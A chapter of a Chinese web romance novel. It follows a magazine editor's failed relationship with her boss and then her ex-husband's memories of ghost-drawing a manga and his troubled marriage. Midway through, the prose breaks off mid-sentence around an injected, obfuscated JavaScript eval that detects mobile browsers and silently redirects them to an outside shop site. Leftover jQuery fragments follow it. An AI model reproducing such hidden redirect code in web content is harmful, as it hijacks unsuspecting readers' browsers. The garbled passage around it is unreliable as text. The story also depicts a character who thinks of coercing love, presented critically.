温夏的新工作是杂志社编辑,为了尽快上手,她每天留下来加班到深夜,力求将历年发行的杂志读一遍。

    点了杯咖啡,她边喝边阅读杂志。

    这本杂志在十年多前还是热门,现在没什么人看实体书了,便开始线上发行,只是销量还是差。

    有时她看着那个凄惨的数字,都会担心自己下个月就会失业。

    “又在加班啊,”主编蔺深拍了下她的椅背,越过她在自己的位置坐下,一眼瞥见桌面上的咖啡,拿起来对她笑说,“给我点的?谢谢啦。”

    “应该的,您帮我那么多。”

    蔺深是个比她还要勤勉的人,入职这段时间,对她不吝赐教,都算半个师父了。

    也是他不抽烟,不然她本打算送他一条烟以表感谢的。

    她看向一旁那个低头工作的男人:“主编,您结婚了么?”

    他抬起头来又是一笑,穿着西装打着领带的模样温和谦逊:“怎么,看上我了?”

    “呃,那倒没有。”她只是想着可以送他点什么,如果有孩子的话就好办些。

    “哈哈,看你,我开个玩笑而已,怎么了?想请我吃饭?”

    她老实点头。

    “嗯......”蔺深摸摸下巴,仍笑着,“要是对我没有想法的话,就不必了。你工作做得好我也受惠啊。”

    他这么说,是看出了她想答谢的心意,又怕她尴尬吧。

    这次以后,主编似乎对她更热情了些,常常主动问她的工作进度,一来二去,部门里便有同事打趣他俩:

    “温夏,你和主编,最近走得很近啊?”

    “不会是要谈恋爱了吧?”

    她满脸尴尬地摆摆手:“怎么可能,只是我常常请教他问题而已。而且,他应该已经结婚了吧......”

    “没有喔,主编还是单身呢。”

    “是啊,之前销售部的何慧还追他来着。何慧那种大美女他都没接受。”

    “那更不可能看上我了。”温夏说这话本只是客气,没想到两个月后,蔺深还真的捧着一束花向她表白了。

    一家餐厅里,他穿着纯白的衬衫,仔细打扮了一番,笑起来时眉眼弯弯,温柔亲人。

    “夏夏,和我试试吧。”

    久未有人这样唤她,温夏不知怎么的,居然眼眶发热,差点哭出来。

    “你怎么了?也不用感动到哭吧。”那男人抚慰关怀的声音实在太过温暖,让她说不出拒绝的话。

    交往两月,温夏和他在公司没有公开恋情,只是他看她的眼神太不清白,这件事很快暴露并传开了。

    同事纷纷祝福,还不时打趣问什么时候结婚。

    两人第一次接吻是在她家门口。

    他借口说来她家加会儿班,原本想留下过夜,却被她红着脸支支吾吾地婉拒了。

    “嗯......我之前就一直想问了,”蔺深站在她家门口,问,“夏夏,你不会是第一次谈恋爱吧?”

    她想到自己结过婚的事情还没有告诉他,忽然低下了头:“我、我不是......”

    “嗯~?真的不是?”他一把将她抱住,看她有些慌乱地将头埋得更低,唇边笑意更深了些,“你看,每次我抱你,你都会很紧张。一点不像谈过恋爱的样子。”

    她声如蚊蚋:“我、我真的谈过的。”

    他单手托起她的下颌,脸凑近了,眨眨眼:“那我亲亲?”

    蔺深的吻很温柔,就像他人一样,成熟包容,好像可以接纳她的一切。

    或许告诉他,他也不会离自己而去吧。

    这么想着,她搂上他的脖子。

    感情发展顺利,事业也顺利,温夏在男友的帮助下,很快得到一个撰写专栏并在杂志发表的机会。

    只是,听见专栏人物是风景旧谙的时候,她浑身都有些僵硬。

    “可能是最近《木偶师》的动画要热播了,”蔺深牵着她,笑着解释道,“你平时看漫画吗?”

    她木然地点点头。

    原以为要采访原作者,没想到是采访风景旧谙的编辑。

    茶室里,温夏打量着面前的中年男人,头发半白,戴着副眼镜,笑得倒是很和蔼。

    “我待会还有事,我们直入正题吧。”

    温夏提前做了功课,开门见山问了一些基本情况,然后犹豫着问出了那个令她有些在意的问题:

    “之前很多读者都说,风景旧谙老师中途画风改变,关于这一点......”

    “哦,其实当年新闻也有报道过,不过旧报纸估计你们找不着了。风景旧谙其实是两个人,一对年轻的夫妻,妻子负责原作和故事,丈夫负责主笔作画。”

    “作品火之前他们都很勤奋,只是火了以后,女方沾了点不良爱好......”

    温夏和蔺深对了个眼神:“是什么?”

    “打麻将。你们也知道,漫画是先有故事,再有分镜和作画的,但是她整日地沉迷麻将馆还开始赌钱,导致我们编辑收稿很不容易。我们是周刊,丈夫一个人忙不过来,就开始让他儿子试着代笔。”

    “那个孩子之前也会帮着他们贴网点,画背景,才十几岁就能独立作画,当真是天赋异禀。读者看到画风变了,是因为换了个人在画。”

    温夏记录的手停了,之前一直存在的疑虑现在都有了答案:“那后来呢?《木偶师》当年有停过一段时间吧。”

    “是的,那段时间是丈夫出事故去世了。妻子一直酗酒,我们去到的时候,她把孩子的脸都打坏了。哎,也是可怜。”

    温夏不说话了,蔺深追问道:“那后来的连载是?”

    “那之后就是她和儿子在画了,我们也有请助手去帮忙。不过,卖了版权以后,她酒后驾车出了事故,只留下儿子。”

    “说来真是唏嘘啊,刚收到那么大一笔版权费,人就没了。之后我有去过他们的出租房,只是房子已经空了。”

    这段往事,令温夏想起自己曾经看过的冷渡的那篇漫画。

    她低下头,手里拿着的笔停了很久,蔺深注意到她的沉默,问她怎么了,她只是摇头。

    以这种方式听到冷渡的过去,她胸口像被什么东西堵住了,闷闷的。

    回去的路上,她坐在车上沉默,眼神怔怔的。

    她想起冷渡画的那只被染黑的白狐,现在她终于知道那只狐狸是谁了。

    专栏故事发表以后,果然上了热门。

    代笔的丑闻收割了一波老读者的怜惜,动画播出成绩很好,杂志方也对主笔的蔺深和温夏赞许有加。

    交往四个月的时候,蔺深向她提出了同居。

    她愣了一下,没有马上答复。

    “你是觉得太快了吗?我只是看你总是这么瘦,想照顾你。”

    他一句关怀,令她打消了疑虑。

    蔺深比她大六岁,确实很会照顾人,会做饭,会打理家务,甚至洗她换下的胸罩。

    “这、这个丢洗衣机就好了!”她第一次发现时红着脸抢过那件粉色的内衣。

    “机洗容易变形~”他亲亲她的额头。

    她想起曾经冷渡也这样说过,只是不同的是,他当时洗的是自己的内裤。

    蔺深向她求婚,是在他们交往六个月的时候。感情稳定,同居下来生活习惯也很合拍。

    他29岁,确实到了结婚的年纪。

    温夏低着头,犹豫了很久,还是鼓起勇气告诉他自己结过婚、离过婚的事。

    等待答案的过程,她出乎意料的,并没有太紧张。

    蔺深沉默了片刻,说:“这么重要的事,怎么一直没有告诉我呢?”

    那之后两人之间像多了一层隔阂。

    温夏心里有些不妙的预感,但又出奇的平静。

    他提出分手的时候,言辞十分得体,一点也没有伤到她的自尊心。

    蔺深真的是很好的人,只是不能接受结过婚的女人也是能理解的。

    她这么安慰自己,从他的房子搬了出来。

    生活好像又回到了从前。

    她一个人上班,一个人加班,一个人下班。

    一个人吃,一个人睡。

    很自由,也很孤独。

    听说蔺深快要结婚的消息是在几个月后,她意外的没有哭。

    晚上抱着他送自己的抱枕入睡,温夏才终于明白,自己不是爱上了他,只是贪恋他的温柔。

    结婚,一定要有爱吗?

    如果蔺深没有介意她的婚史,温夏觉得自己真的会和他走下去。

    -

    冷渡做了一个梦。

    梦境开头,他从高考考场出来,接到了母亲去世的电话,原以为自己不会哭,但他的眼角还是湿了。

    填志愿他没有一分的迟疑。

    曾经热爱的漫画,现在已经变成会牵出糟糕回忆的东西。

    那之后,上大学,结识景玉,合伙创业,公司上市。

    他在二十多的年纪就实现了财富自由,什么都碰过,除了恋爱和漫画。

    重新执起笔时,他的手在发抖。

    时隔多年画下来的第一幅画,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775208|208119||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    画风像极了父亲。

    自己原来到底是怎么画画的呢?他想不起了。

    只是日复一日地重练基本功,试图在机械枯燥的绘画中找回属于自己的画风。

    在社交平台收获了一段时间的好评,他开始构建属于自己的作品。

    画风再怎么修改都有父亲的痕迹,他便写完全不同于风景旧谙的故事。

    在平台画了很多个短篇,他逐渐注意到一个常常留评的小读者。

    对方说从社媒追随自己而来。可他并没有公开说过自己的马甲。

    对于别人的好评,他一直不太在意。

    直到他注意到那个小读者的id。

    阿夏。

    他想起自己刚开始替父亲代笔的时候,收获了几封信件,但内容都是对风景旧谙这个笔名的赞美。

    和他没有关系。

    唯独有一个叫“阿夏”的小孩,夸的是他。对于当时急切寻求外界认可的他来说,就像一瓶解药。

    他默默开始留意这个叫阿夏的读者,发现她总在固定时间出没,常常给他发奇怪的评论,诸如:

    好爱你;

    透过你的作品感觉触摸到了你的灵魂;

    女神你现实中一定是个很温柔很敏感又纤细脆弱的人吧。

    透过一个人的作品,能触摸到对方的灵魂?

    未免太夸大了些。

    可是,她说的温柔敏感,纤细脆弱。

    好像是对的。

    温不温柔不知道,但他确实敏感,纤细,也脆弱。不然,何以解释他在看到这条评论的时候会落下泪来的事情呢?

    为了超越父母,他一直努力连载漫画。但无论无何都达不到他们当年的高度。

    在孤独的长达三年的连载中,是她一直陪着他。

    有时候在评论区说自己今天发生了什么事,有时候对他热烈表白,说要结婚,想参加签售。

    她是个什么样的人呢?

    ——冷渡对她产生了好奇。

    虽然因为几条评论就想见一个人,真的很怪,但他还是做了。

    那是一个叫温夏的女人。

    一开始有些怕生,不大跟他说话,但单独泡在厨房的时候总是哼歌。

    比他小三岁,却总是唠唠叨叨地劝他多吃点饭,不然太瘦了风一吹会倒。

    如果他吃得少,她就会端着剩菜发呆好一会儿,然后碎碎念说“是不是我做得不好吃?”

    冷渡也不知道自己为什么第二天要故意多吃一点,可能是菜确实好吃,也可能是因为她笑起来挺可爱的。

    “你喜欢吃这个是不是?那我明天多做。”她是一个很好满足的人,如果别人喜欢她做的饭就会笑。

    他开始调查她的基本情况,想要投其所好。

    但她喜欢的类型和自己实在相去甚远。

    他既不喜欢穿衬衫,也几乎从来不笑。温柔这种词,跟孤僻的他更是不沾边。

    他装作不经意地问了一下女人缘很好的景玉,怎么让别人喜欢自己。

    景玉古怪地看了他一会儿,说:“你优秀了有钱了,女人自然就喜欢你。”

    冷渡觉得自己已经是世俗意义上的优秀了,也足够有钱了。

    也没见温夏喜欢自己,只是在他靠近的时候,常常会看得发愣。

    “我脸上有什么东西吗?”他面无表情地问。

    “啊?没,没有。就是......我觉得你长得实在是太好看了,嘿嘿。”她摸着头,脸都红了。

    脸红是害羞?还是窘迫?

    他不懂女人,便开始研究女人,有时借助自己研发的ai助手,慢慢地,把自己雕刻成她喜欢的模样。

    可是她却说,让他做自己。

    冷渡落下泪来。决定要和她结婚。

    先让她离不开他,那之后再暴露自己的真面目,这样,应该就能被爱了吧。

    没关系,夏夏很包容,一定能接纳那个阴暗、自私又怀有强烈嫉妒心的冷渡的。

    但他还是吓到了她。即便胁迫她爱自己,那也不是爱。

    她接受不了原来的他。

    就和父母亲一样。

    读者认可的不是作为冷渡的他。

    父母赞许的也是模仿父亲的他。

    温夏爱的也是虚伪的他。

    他终于明白,他扮演的那个人被爱了,而他自己还没有。

    自我毁灭的念头一旦冒出来,就像急速蹿起来的火舌,一发不可收拾。

    病房里,冷渡指尖抽动,缓缓撑起了沉重的眼皮。